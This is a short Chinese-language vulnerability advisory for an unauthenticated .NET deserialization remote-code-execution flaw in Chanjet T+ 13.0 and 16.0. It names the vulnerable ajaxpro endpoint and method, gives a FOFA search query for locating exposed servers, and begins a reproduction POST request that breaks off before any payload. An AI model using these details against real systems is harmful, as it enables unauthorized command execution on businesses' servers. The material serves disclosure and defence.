畅捷通T+ Ufida.T.DI.UIP.RRA.RRATableController 反序列化RCE

简介

畅捷通是用友集团的成员企业,致力于为企业提供高效、方便的解决方案。好生意是畅捷通公司的产品,能够从不同的维度帮助企业提升效率、降低成本。

漏洞描述

畅捷通 T+ /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx接口存在.net反序列化漏洞，未经过身份认证的攻击者可以通过构造恶意的序列化请求在目标服务器上执行任意命令。

影响版本

畅捷通 T+ 13.0
畅捷通 T+ 16.0
Fofa:

app="畅捷通-TPlus"

影响范围与漏洞编号

影响范围：
179,776
漏洞编号：未知

漏洞复现

POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: 
User-Agent: